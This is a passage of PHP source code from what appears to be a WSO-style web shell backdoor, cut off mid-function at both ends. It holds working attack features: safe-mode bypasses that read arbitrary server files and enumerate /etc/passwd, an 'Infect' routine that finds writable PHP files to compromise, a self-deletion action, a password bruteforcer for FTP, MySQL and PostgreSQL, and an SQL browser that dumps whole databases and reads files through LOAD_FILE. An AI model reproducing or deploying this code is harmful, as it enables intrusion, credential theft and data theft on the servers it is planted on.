\'cx\');\r\n\t\t\tif(@copy("compress.zlib://".$_POST[\'p2\'], $temp)){\r\n\t\t\t\techo @file_get_contents($temp);\r\n\t\t\t\tunlink($temp);\r\n\t\t\t} else\r\n\t\t\t\techo \'Sorry... Can\\\'t open file\';\r\n\t\t\tbreak;\r\n\t\tcase 2:\r\n\t\t\t$files = glob($_POST[\'p2\'].\'*\');\r\n\t\t\tif( is_array($files) )\r\n\t\t\t\tforeach ($files as $filename)\r\n\t\t\t\t\techo $filename."\\n";\r\n\t\t\tbreak;\r\n\t\tcase 3:\r\n\t\t\t$ch = curl_init("file://".$_POST[\'p2\']."\\x00".SELF_PATH);\r\n\t\t\tcurl_exec($ch);\r\n\t\t\tbreak;\r\n\t\tcase 4:\r\n\t\t\tini_restore("safe_mode");\r\n\t\t\tini_restore("open_basedir");\r\n\t\t\tinclude($_POST[\'p2\']);\r\n\t\t\tbreak;\r\n\t\tcase 5:\r\n\t\t\tfor(;$_POST[\'p2\'] <= $_POST[\'p3\'];$_POST[\'p2\']++) {\r\n\t\t\t\t$uid = @posix_getpwuid($_POST[\'p2\']);\r\n\t\t\t\tif ($uid)\r\n\t\t\t\t\techo join(\':\',$uid)."\\n";\r\n\t\t\t}\r\n\t\t\tbreak;\r\n\t\tcase 6:\r\n\t\t\tif(!function_exists(\'imap_open\'))break;\r\n\t\t\t$stream = imap_open($_POST[\'p2\'], "", "");\r\n\t\t\tif ($stream == FALSE)\r\n\t\t\t\tbreak;\r\n\t\t\techo imap_body($stream, 1);\r\n\t\t\timap_close($stream);\r\n\t\t\tbreak;\r\n\t}\r\n\t$temp = ob_get_clean();\r\n\thardHeader();\r\n\techo \'<h1>Safe mode bypass</h1><div class=content>\';\r\n\techo \'<span>Copy (read file)</span><form onsubmit=\\\'g(null,null,"1",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\\\'g(null,null,"2",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\\\'g(null,null,"3",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\\\'g(null,null,"4",this.param.value);return false;\\\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\\\'g(null,null,"5",this.param1.value,this.param2.value);return false;\\\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\\\'g(null,null,"6",this.param.value);return false;\\\'><input type=text name=param><input type=submit value="submit"></form>\';\r\n\tif($temp)\r\n\t\techo \'<pre class="ml1" style="margin-top:5px" id="Output">\'.$temp.\'</pre>\';\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionLogout() {\r\n    setcookie(md5($_SERVER[\'HTTP_HOST\']), \'\', time() - 3600);\r\n\tdie(\'bye!\');\r\n}\r\nfunction actionSelfRemove() {\r\n\tif($_POST[\'p1\'] == \'yes\')\r\n\t\tif(@unlink(preg_replace(\'!\\(\\d+\\)\\s.*!\', \'\', __FILE__)))\r\n\t\t\tdie(\'Shell has been removed\');\r\n\t\telse\r\n\t\t\techo \'unlink error!\';\r\n    if($_POST[\'p1\'] != \'yes\')\r\n        hardHeader();\r\n\techo \'<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\\\'yes\\\')">Yes</a></div>\';\r\n\thardFooter();\r\n}\r\nfunction actionInfect() {\r\n\thardHeader();\r\n\techo \'<h1>Infect</h1><div class=content>\';\r\n\tif($_POST[\'p1\'] == \'infect\') {\r\n\t\t$target=$_SERVER[\'DOCUMENT_ROOT\'];\r\n\t\t\tfunction ListFiles($dir) {\r\n\t\t\t\tif($dh = opendir($dir)) {\r\n\t\t\t\t\t$files = Array();\r\n\t\t\t\t\t$inner_files = Array();\r\n\t\t\t\t\twhile($file = readdir($dh)) {\r\n\t\t\t\t\t\tif($file != "." && $file != "..") {\r\n\t\t\t\t\t\t\tif(is_dir($dir . "/" . $file)) {\r\n\t\t\t\t\t\t\t\t$inner_files = ListFiles($dir . "/" . $file);\r\n\t\t\t\t\t\t\t\tif(is_array($inner_files)) $files = array_merge($files, $inner_files); \r\n\t\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\tarray_push($files, $dir . "/" . $file);\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t\tclosedir($dh);\r\n\t\t\t\t\treturn $files;\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\tforeach (ListFiles($target) as $key=>$file){\r\n\t\t\t\t$nFile = substr($file, -4, 4);\r\n\t\t\t\tif($nFile == ".php" ){\r\n\t\t\t\t\tif(($file<>$_SERVER[\'DOCUMENT_ROOT\'].$_SERVER[\'PHP_SELF\'])&&(is_writeable($file))){\r\n\t\t\t\t\t\techo "$file<br>";\r\n\t\t\t\t\t\t$i++;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\techo "<font color=red size=14>$i</font>";\r\n\t\t}else{\r\n\t\t\techo "<form method=post><input type=submit value=Infect name=infet></form>";\r\n\t\t\techo \'Really want to infect the server?&nbsp;<a href=# onclick="g(null,null,\\\'infect\\\')">Yes</a></div>\';\r\n\t\t}\r\n\thardFooter();\r\n}\r\nfunction actionBruteforce() {\r\n\thardHeader();\r\n\tif( isset($_POST[\'proto\']) ) {\r\n\t\techo \'<h1>Results</h1><div class=content><span>Type:</span> \'.htmlspecialchars($_POST[\'proto\']).\' <span>Server:</span> \'.htmlspecialchars($_POST[\'server\']).\'<br>\';\r\n\t\tif( $_POST[\'proto\'] == \'ftp\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$fp = @ftp_connect($ip, $port?$port:21);\r\n\t\t\t\tif(!$fp) return false;\r\n\t\t\t\t$res = @ftp_login($fp, $login, $pass);\r\n\t\t\t\t@ftp_close($fp);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'mysql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$res = @mysql_connect($ip.\':\'.($port?$port:3306), $login, $pass);\r\n\t\t\t\t@mysql_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t} elseif( $_POST[\'proto\'] == \'pgsql\' ) {\r\n\t\t\tfunction bruteForce($ip,$port,$login,$pass) {\r\n\t\t\t\t$str = "host=\'".$ip."\' port=\'".$port."\' user=\'".$login."\' password=\'".$pass."\' dbname=postgres";\r\n\t\t\t\t$res = @pg_connect($str);\r\n\t\t\t\t@pg_close($res);\r\n\t\t\t\treturn $res;\r\n\t\t\t}\r\n\t\t}\r\n\t\t$success = 0;\r\n\t\t$attempts = 0;\r\n\t\t$server = explode(":", $_POST[\'server\']);\r\n\t\tif($_POST[\'type\'] == 1) {\r\n\t\t\t$temp = @file(\'/etc/passwd\');\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = explode(":", $line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $line[0]) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($line[0]).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif(@$_POST[\'reverse\']) {\r\n\t\t\t\t\t\t$tmp = "";\r\n\t\t\t\t\t\tfor($i=strlen($line[0])-1; $i>=0; --$i)\r\n\t\t\t\t\t\t\t$tmp .= $line[0][$i];\r\n\t\t\t\t\t\t++$attempts;\r\n\t\t\t\t\t\tif( bruteForce(@$server[0],@$server[1], $line[0], $tmp) ) {\r\n\t\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($line[0]).\'</b>:\'.htmlspecialchars($tmp);\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t} elseif($_POST[\'type\'] == 2) {\r\n\t\t\t$temp = @file($_POST[\'dict\']);\r\n\t\t\tif( is_array($temp) )\r\n\t\t\t\tforeach($temp as $line) {\r\n\t\t\t\t\t$line = trim($line);\r\n\t\t\t\t\t++$attempts;\r\n\t\t\t\t\tif( bruteForce($server[0],@$server[1], $_POST[\'login\'], $line) ) {\r\n\t\t\t\t\t\t$success++;\r\n\t\t\t\t\t\techo \'<b>\'.htmlspecialchars($_POST[\'login\']).\'</b>:\'.htmlspecialchars($line).\'<br>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t}\r\n\t\techo "<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";\r\n\t}\r\n\techo \'<h1>FTP bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>\'\r\n\t\t.\'<td><label><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></label></td></tr><tr><td>\'\r\n\t\t.\'<input type=hidden name=c value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'">\'\r\n\t\t.\'<input type=hidden name=a value="\'.htmlspecialchars($_POST[\'a\']).\'">\'\r\n\t\t.\'<input type=hidden name=charset value="\'.htmlspecialchars($_POST[\'charset\']).\'">\'\r\n\t\t.\'<input type=hidden name=ne  value="">\'\r\n\t\t.\'<span>Server:port</span></td>\'\r\n\t\t.\'<td><input type=text name=server value="127.0.0.1"></td></tr>\'\r\n\t\t.\'<tr><td><span>Brute type</span></td>\'\r\n\t\t.\'<td><input type=radio name=type value="1" checked> /etc/passwd</td></tr>\'\r\n\t\t.\'<tr><td></td><td style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</td></tr>\'\r\n\t\t.\'<tr><td></td><td><input type=radio name=type value="2"> Dictionary</td></tr>\'\r\n\t\t.\'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>\'\r\n\t\t.\'<td><input type=text name=login value="root"></td></tr>\'\r\n\t\t.\'<tr><td><span>Dictionary</span></td>\'\r\n\t\t.\'<td><input type=text name=dict value="\'.htmlspecialchars($GLOBALS[\'cwd\']).\'passwd.dic"></td></tr></table>\'\r\n\t\t.\'</td></tr><tr><td></td><td><input type=submit value="submit"></td></tr></form></table>\';\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionSql() {\r\n\tclass DbClass {\r\n\t\tvar $type;\r\n\t\tvar $link;\r\n\t\tvar $res;\r\n\t\tfunction __Constructor($type)\t{\r\n\t\t\t$this->type = $type;\r\n\t\t}\r\n\t\tfunction connect($host, $user, $pass, $dbname){\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif( $this->link = @mysql_connect($host,$user,$pass,true) ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$host = explode(\':\', $host);\r\n\t\t\t\t\tif(!$host[1]) $host[1]=5432;\r\n\t\t\t\t\tif( $this->link = @pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname") ) return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction selectdb($db) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif (@mysql_select_db($db))return true;\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction query($str) {\r\n\t\t\tswitch($this->type) {\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = @mysql_query($str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = @pg_query($this->link,$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction fetch() {\r\n\t\t\t$res = func_num_args()?func_get_arg(0):$this->res;\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_fetch_assoc($res);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listDbs() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n                        return $this->query("SHOW databases");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("SELECT datname FROM pg_database WHERE datistemplate!=\'t\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction listTables() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->res = $this->query(\'SHOW TABLES\');\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn $this->res = $this->query("select table_name from information_schema.tables where table_schema != \'information_schema\' AND table_schema != \'pg_catalog\'");\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction error() {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn @mysql_error();\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_last_error();\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction setCharset($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\tif(function_exists(\'mysql_set_charset\'))\r\n\t\t\t\t\t\treturn @mysql_set_charset($str, $this->link);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$this->query(\'SET CHARSET \'.$str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\treturn @pg_set_client_encoding($this->link, $str);\r\n\t\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction loadFile($str) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\treturn $this->fetch($this->query("SELECT LOAD_FILE(\'".addslashes($str)."\') as file"));\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query("CREATE TABLE hard2(file text);COPY hard2 FROM \'".addslashes($str)."\';select file from hard2;");\r\n\t\t\t\t\t$r=array();\r\n\t\t\t\t\twhile($i=$this->fetch())\r\n\t\t\t\t\t\t$r[] = $i[\'file\'];\r\n\t\t\t\t\t$this->query(\'drop table hard2\');\r\n\t\t\t\t\treturn array(\'file\'=>implode("\\n",$r));\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tfunction dump($table, $fp = false) {\r\n\t\t\tswitch($this->type)\t{\r\n\t\t\t\tcase \'mysql\':\r\n\t\t\t\t\t$res = $this->query(\'SHOW CREATE TABLE `\'.$table.\'`\');\r\n\t\t\t\t\t$create = mysql_fetch_array($res);\r\n\t\t\t\t\t$sql = $create[1].";\\n";\r\n                    if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t$this->query(\'SELECT * FROM `\'.$table.\'`\');\r\n                    $i = 0;\r\n                    $head = true;\r\n\t\t\t\t\twhile($▟ = $this->fetch()) {\r\n                        $sql = \'\';\r\n                        if($i % 1000 == 0) {\r\n                            $head = true;\r\n                            $sql = ";\\n\\n";\r\n                        }\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\r\n                            if($v === null)\r\n                                $▟[$k] = "NULL";\r\n                            elseif(is_int($v))\r\n                                $▟[$k] = $v;\r\n                            else\r\n                                $▟[$k] = "\'".@mysql_real_escape_string($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = "`".$k."`";\r\n\t\t\t\t\t\t}\r\n                        if($head) {\r\n                            $sql .= \'INSERT INTO `\'.$table.\'` (\'.implode(", ", $columns).") VALUES \\n\\t(".implode(", ", $▟).\')\';\r\n                            $head = false;\r\n                        } else\r\n                            $sql .= "\\n\\t,(".implode(", ", $▟).\')\';\r\n                        if($fp) fwrite($fp, $sql); else echo($sql);\r\n                        $i++;\r\n\t\t\t\t\t}\r\n                    if(!$head)\r\n                        if($fp) fwrite($fp, ";\\n\\n"); else echo(";\\n\\n");\r\n\t\t\t\tbreak;\r\n\t\t\t\tcase \'pgsql\':\r\n\t\t\t\t\t$this->query(\'SELECT * FROM \'.$table);\r\n\t\t\t\t\twhile($▟ = $this->fetch()) {\r\n\t\t\t\t\t\t$columns = array();\r\n\t\t\t\t\t\tforeach($▟ as $k=>$v) {\r\n\t\t\t\t\t\t\t$▟[$k] = "\'".addslashes($v)."\'";\r\n\t\t\t\t\t\t\t$columns[] = $k;\r\n\t\t\t\t\t\t}\r\n                        $sql = \'INSERT INTO \'.$table.\' (\'.implode(", ", $columns).\') VALUES (\'.implode(", ", $▟).\');\'."\\n";\r\n                        if($fp) fwrite($fp, $sql); else echo($sql);\r\n\t\t\t\t\t}\r\n\t\t\t\tbreak;\r\n\t\t\t}\r\n\t\t\treturn false;\r\n\t\t}\r\n\t};\r\n\t$db = new DbClass($_POST[\'type\']);\r\n\tif((@$_POST[\'p2\']==\'download\') && (@$_POST[\'p1\']!=\'select\')) {\r\n\t\t$db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\']);\r\n\t\t$db->selectdb($_POST[\'sql_base\']);\r\n        switch($_POST[\'charset\']) {\r\n            case "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n            case "UTF-8": $db->setCharset(\'utf8\'); break;\r\n            case "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n            case "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n            case "cp866": $db->setCharset(\'cp866\'); break;\r\n        }\r\n        if(empty($_POST[\'file\'])) {\r\n            ob_start("ob_gzhandler", 4096);\r\n            header("Content-Disposition: attachment; filename=dump.sql");\r\n            header("Content-Type: text/plain");\r\n            foreach($_POST[\'tbl\'] as $v)\r\n\t\t\t\t$db->dump($v);\r\n            exit;\r\n        } elseif($fp = @fopen($_POST[\'file\'], \'w\')) {\r\n            foreach($_POST[\'tbl\'] as $v)\r\n                $db->dump($v, $fp);\r\n            fclose($fp);\r\n            unset($_POST[\'p2\']);\r\n        } else\r\n            die(\'<script>alert("Error! Can\\\'t open file");window.history.back(-1)</script>\');\r\n\t}\r\n\thardHeader();\r\n\techo "\r\n<h1>Sql browser</h1><div class=content>\r\n<form name=\'sf\' method=\'post\' onsubmit=\'fs(this);\'><table cellpadding=\'2\' cellspacing=\'0\'><tr>\r\n<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>\r\n<input type=hidden name=ne value=\'\'><input type=hidden name=a value=Sql><input type=hidden name=p1 value=\'query\'><input type=hidden name=p2 value=\'\'><input type=hidden name=c value=\'". htmlspecialchars($GLOBALS[\'cwd\']) ."\'><input type=hidden name=charset value=\'". (isset($_POST[\'charset\'])?$_POST[\'charset\']:\'\') ."\'>\r\n<td><label><select name=\'type\'><option value=\'mysql\' ";\r\n    if(@$_POST[\'type\']==\'mysql\')echo \'selected\';\r\necho ">MySql</option><option value=\'pgsql\' ";\r\nif(@$_POST[\'type\']==\'pgsql\')echo \'selected\';\r\necho ">PostgreSql</option></select></label></td>\r\n<td><input type=text name=sql_host value=\\"". (empty($_POST[\'sql_host\'])?\'localhost\':htmlspecialchars($_POST[\'sql_host\'])) ."\\"></td>\r\n<td><input type=text name=sql_login value=\\"". (empty($_POST[\'sql_login\'])?\'root\':htmlspecialchars($_POST[\'sql_login\'])) ."\\"></td>\r\n<td><input type=text name=sql_pass value=\\"". (empty($_POST[\'sql_pass\'])?\'\':htmlspecialchars($_POST[\'sql_pass\'])) ."\\" required></td><td>";\r\n\t$tmp = "<input type=text name=sql_base value=\'\'>";\r\n\tif(isset($_POST[\'sql_host\'])){\r\n\t\tif($db->connect($_POST[\'sql_host\'], $_POST[\'sql_login\'], $_POST[\'sql_pass\'], $_POST[\'sql_base\'])) {\r\n\t\t\tswitch($_POST[\'charset\']) {\r\n\t\t\t\tcase "Windows-1251": $db->setCharset(\'cp1251\'); break;\r\n\t\t\t\tcase "UTF-8": $db->setCharset(\'utf8\'); break;\r\n\t\t\t\tcase "KOI8-R": $db->setCharset(\'koi8r\'); break;\r\n\t\t\t\tcase "KOI8-U": $db->setCharset(\'koi8u\'); break;\r\n\t\t\t\tcase "cp866": $db->setCharset(\'cp866\'); break;\r\n\t\t\t}\r\n\t\t\t$db->listDbs();\r\n\t\t\techo "<label><select name=sql_base><option value=\'\'></option>";\r\n\t\t\twhile($▟ = $db->fetch()) {\r\n\t\t\t\tlist($key, $value) = each($▟);\r\n\t\t\t\techo \'<option value="\'.$value.\'" \'.($value==$_POST[\'sql_base\']?\'selected\':\'\').\'>\'.$value.\'</option>\';\r\n\t\t\t}\r\n\t\t\techo \'</select></label>\';\r\n\t\t}\r\n\t\telse echo $tmp;\r\n\t}else\r\n\t\techo $tmp;\r\n\techo "</td>\r\n\t\t\t\t<td><input type=submit value=\'submit\' onclick=\'fs(d.sf);\'></td>\r\n                <td><input type=checkbox name=sql_count value=\'on\'" . (empty($_POST[\'sql_count\'])?\'\':\' checked\') . "> count the number of rows</td>\r\n\t\t\t</tr>\r\n\t\t</table>\r\n\t\t<script>\r\n            s_db=\'".@addslashes($_POST[\'sql_base\'])."\';\r\n            function fs(f) {\r\n                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};\r\n                    if(f.p1) f.p1.value=\'\';\r\n                    if(f.p2) f.p2.value=\'\';\r\n                    if(f.p3) f.p3.value=\'\';\r\n                }\r\n            }\r\n\t\t\tfunction st(t,l) {\r\n\t\t\t\td.sf.p1.value = \'select\';\r\n\t\t\t\td.sf.p2.value = t;\r\n                if(l && d.sf.p3) d.sf.p3.value = l;\r\n\t\t\t\td.sf.submit();\r\n\t\t\t}\r\n\t\t\tfunction is() {\r\n\t\t\t\tfor(i=0;i<d.sf.elements[\'tbl[]\'].length;++i)\r\n\t\t\t\t\td.sf.elements[\'tbl[]\'][i].checked = !d.sf.elements[\'tbl[]\'][i].checked;\r\n\t\t\t}\r\n\t\t</script>";\r\n\tif(isset($db) && $db->link){\r\n\t\techo "<br/><table width=100% cellpadding=2 cellspacing=0>";\r\n\t\t\tif(!empty($_POST[\'sql_base\'])){\r\n\t\t\t\t$db->selectdb($_POST[\'sql_base\']);\r\n\t\t\t\techo "<tr><td width=1 style=\'border-top:2px solid #666;\'><span>Tables:</span><br><br>";\r\n\t\t\t\t$tbls_res = $db->listTables();\r\n\t\t\t\twhile($▟ = $db->fetch($tbls_res)) {\r\n\t\t\t\t\tlist($key, $value) = each($▟);\r\n                    if(!empty($_POST[\'sql_count\']))\r\n                        $n = $db->fetch($db->query(\'SELECT COUNT(*) as n FROM \'.$value.\'\'));\r\n\t\t\t\t\t$value = htmlspecialchars($value);\r\n\t\t\t\t\techo "<nobr><input type=\'checkbox\' name=\'tbl[]\' value=\'".$value."\'>&nbsp;<a href=# onclick=\\"st(\'".$value."\',1)\\">".$value."</a>" . (empty($_POST[\'sql_count\'])?\'&nbsp;\':" <small>({$n[\'n\']})</small>") . "</nobr><br>";\r\n\t\t\t\t}\r\n\t\t\t\techo "<input type=\'checkbox\' onclick=\'is();\'> <input type=submit value=\'Dump\' onclick=\'document.sf.p2.value=\\"download\\";document.sf.submit();\'><br>File path:<input type=text name=file value=\'dump.sql\'></td><td style=\'border-top:2px solid #666;\'>";\r\n\t\t\t\tif(@$_POST[\'p1\'] == \'select\') {\r\n\t\t\t\t\t$_POST[\'p1\'] = \'query\';\r\n                    $_POST[\'p3\'] = $_POST[\'p3\']?$_POST[\'p3\']:1;\r\n\t\t\t\t\t$db->query(\'SELECT COUNT(*) as n FROM \' . $_POST[\'p2\']);\r\n\t\t\t\t\t$num = $db->fetch();\r\n\t\t\t\t\t$pages = ceil($num[\'n\'] / 30);\r\n                    echo "<script>d.sf.onsubmit=function(){st(\\"" . $_POST[\'p2\'] . "\\", d.sf.p3.value)}</script><span>".$_POST[\'p2\']."</span> ({$num[\'n\']} records) Page # <input type=text name=\'p3\' value=" . ((int)$_POST[\'p3\']) . ">";\r\n                    echo " of $pages";\r\n                    if($_POST[\'p3\'] > 1)\r\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']-1) . ")\'>&lt; Prev</a>";\r\n                    if($_POST[\'p3\'] < $pages)\r\n                        echo " <a href=# onclick=\'st(\\"" . $_POST[\'p2\'] . \'", \' . ($_POST[\'p3\']+1) . ")\'>Next &gt;</a>";\r\n                    $_POST[\'p3\']--;\r\n\t\t\t\t\tif($_POST[\'type\']==\'pgsql\')\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM \'.$_POST[\'p2\'].\' LIMIT 30 OFFSET \'.($_POST[\'p3\']*30);\r\n\t\t\t\t\telse\r\n\t\t\t\t\t\t$_POST[\'p2\'] = \'SELECT * FROM `\'.$_POST[\'p2\'].\'` LIMIT \'.($_POST[\'p3\']*30).\',30\';\r\n\t\t\t\t\techo "<br><br>";\r\n\t\t\t\t}\r\n\t\t\t\tif((@$_POST[\'p1\'] == \'query\') && !empty($_POST[\'p2\'])) {\r\n\t\t\t\t\t$db->query(@$_POST[\'p2\']);\r\n\t\t\t\t\tif($db->res !== false) {\r\n\t\t\t\t\t\t$title = false;\r\n\t\t\t\t\t\techo \'<table width=100% cellspacing=1 cellpadding=2 class=main>\';\r\n\t\t\t\t\t\t$line = 1;\r\n\t\t\t\t\t\twhile($▟ = $db->fetch())\t{\r\n\t\t\t\t\t\t\tif(!$title)\t{\r\n\t\t\t\t\t\t\t\techo \'<tr>\';\r\n\t\t\t\t\t\t\t\tforeach($▟ as $key => $value)\r\n\t\t\t\t\t\t\t\t\techo \'<th>\'.$key.\'</th>\';\r\n\t\t\t\t\t\t\t\treset($▟);\r\n\t\t\t\t\t\t\t\t$title=true;\r\n\t\t\t\t\t\t\t\techo \'</tr><tr>\';\r\n\t\t\t\t\t\t\t\t$line = 2;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'<tr class="l\'.$line.\'">\';\r\n\t\t\t\t\t\t\t$line = $line==1?2:1;\r\n\t\t\t\t\t\t\tforeach($▟ as $key => $value) {\r\n\t\t\t\t\t\t\t\tif($value == null)\r\n\t\t\t\t\t\t\t\t\techo \'<td><i>null</i></td>\';\r\n\t\t\t\t\t\t\t\telse\r\n\t\t\t\t\t\t\t\t\techo \'<td>\'.nl2br(htmlspecialchars($value)).\'</td>\';\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\techo \'</tr>\';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\techo \'</table>\';\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\techo \'<div><b>Error:</b> \'.htmlspecialchars($db->error()).\'</div>\';\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\techo "<br></form><form onsubmit=\'d.sf.p1.value=\\"query\\";d.sf.p2.value=this.query.value;document.sf.submit();return false;\'><textarea name=\'query\' style=\'width:100%;height:100px\'>";\r\n                if(!empty($_POST[\'p2\']) && ($_POST[\'p1\'] != \'loadfile\'))\r\n                    echo htmlspecialchars($_POST[\'p2\']);\r\n                echo "</textarea><br/><input type=submit value=\'Execute\'>";\r\n\t\t\t\techo "</td></tr>";\r\n\t\t\t}\r\n\t\t\techo "</table></form><br/>";\r\n            if($_POST[\'type\']==\'mysql\') {\r\n                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, \'@\', `host`) = USER() AND `File_priv` = \'y\'");\r\n                if($db->fetch())\r\n                    echo "<form onsubmit=\'d.sf.p1.value=\\"loadfile\\";document.sf.p2.value=this.f.value;document.sf.submit();return false;\'><span>Load file</span> <input  class=\'toolsInp\' type=text name=f><input type=submit value=\'submit\'></form>";\r\n            }\r\n\t\t\tif(@$_POST[\'p1\'] == \'loadfile\') {\r\n\t\t\t\t$file = $db->loadFile($_POST[\'p2\']);\r\n\t\t\t\techo \'<br/><pre class=ml1>\'.htmlspecialchars($file[\'file\']).\'</pre>\';\r\n\t\t\t}\r\n\t} else {\r\n        echo htmlspecialchars($db->error());\r\n    }\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\nfunction actionNetwork() 